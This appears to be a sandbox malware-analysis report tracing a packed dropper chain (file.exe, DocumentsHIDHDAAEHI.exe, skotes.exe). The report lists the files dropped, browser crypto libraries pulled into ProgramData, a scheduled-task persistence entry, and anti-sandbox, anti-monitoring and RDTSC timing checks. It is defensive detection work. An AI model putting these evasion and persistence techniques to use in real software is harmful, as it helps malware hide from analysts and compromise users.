Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1828352 > 1048576

Source: file.exe

Static PE information: Raw size of vazpyjtr is bigger than: 0x100000 < 0x1a4800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vazpyjtr:EW;rueovwau:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vazpyjtr:EW;rueovwau:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Unpacked PE file: 27.2.DocumentsHIDHDAAEHI.exe.580000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 29.2.skotes.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wiflwrzy:EW;kkxseilb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

1_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: real checksum: 0x1d8daa should be: 0x1d6f46
Source: random[1].exe.36.dr	Static PE information: real checksum: 0x438ae2 should be: 0x441324
Source: file.exe	Static PE information: real checksum: 0x1c0ef5 should be: 0x1c6570
Source: ca8a779a60.exe.36.dr	Static PE information: real checksum: 0x438ae2 should be: 0x441324
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1d8daa should be: 0x1d6f46
Source: skotes.exe.27.dr	Static PE information: real checksum: 0x1d8daa should be: 0x1d6f46

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vazpyjtr
Source: file.exe	Static PE information: section name: rueovwau
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: wiflwrzy
Source: random[1].exe.1.dr	Static PE information: section name: kkxseilb
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name:
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name:
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: wiflwrzy
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: kkxseilb
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: wiflwrzy
Source: skotes.exe.27.dr	Static PE information: section name: kkxseilb
Source: skotes.exe.27.dr	Static PE information: section name: .taggant
Source: random[1].exe.36.dr	Static PE information: section name:
Source: random[1].exe.36.dr	Static PE information: section name: .rsrc
Source: random[1].exe.36.dr	Static PE information: section name: .idata
Source: random[1].exe.36.dr	Static PE information: section name:
Source: random[1].exe.36.dr	Static PE information: section name: gyefzsku
Source: random[1].exe.36.dr	Static PE information: section name: spshtbym
Source: random[1].exe.36.dr	Static PE information: section name: .taggant
Source: ca8a779a60.exe.36.dr	Static PE information: section name:
Source: ca8a779a60.exe.36.dr	Static PE information: section name: .rsrc
Source: ca8a779a60.exe.36.dr	Static PE information: section name: .idata
Source: ca8a779a60.exe.36.dr	Static PE information: section name:
Source: ca8a779a60.exe.36.dr	Static PE information: section name: gyefzsku
Source: ca8a779a60.exe.36.dr	Static PE information: section name: spshtbym
Source: ca8a779a60.exe.36.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98B536 push ecx; ret		1_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003AD91C push ecx; ret		36_2_003AD92F

Source: file.exe	Static PE information: section name: vazpyjtr entropy: 7.953639245089198
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.981786833755283
Source: random[1].exe.1.dr	Static PE information: section name: wiflwrzy entropy: 7.953221962551279
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: entropy: 7.981786833755283
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: wiflwrzy entropy: 7.953221962551279
Source: skotes.exe.27.dr	Static PE information: section name: entropy: 7.981786833755283
Source: skotes.exe.27.dr	Static PE information: section name: wiflwrzy entropy: 7.953221962551279
Source: random[1].exe.36.dr	Static PE information: section name: gyefzsku entropy: 7.9551037682146735
Source: ca8a779a60.exe.36.dr	Static PE information: section name: gyefzsku entropy: 7.9551037682146735

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIDHDAAEHI.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHIDHDAAEHI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIDHDAAEHI.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHIDHDAAEHI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Window searched: window name: RegmonClass

Source: C:\Users\user\DocumentsHIDHDAAEHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F693BE second address: F693E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEC84DC6BCCh 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e jp 00007FEC84DC6BC6h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6869D second address: F686A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68944 second address: F6894A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68C45 second address: F68C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
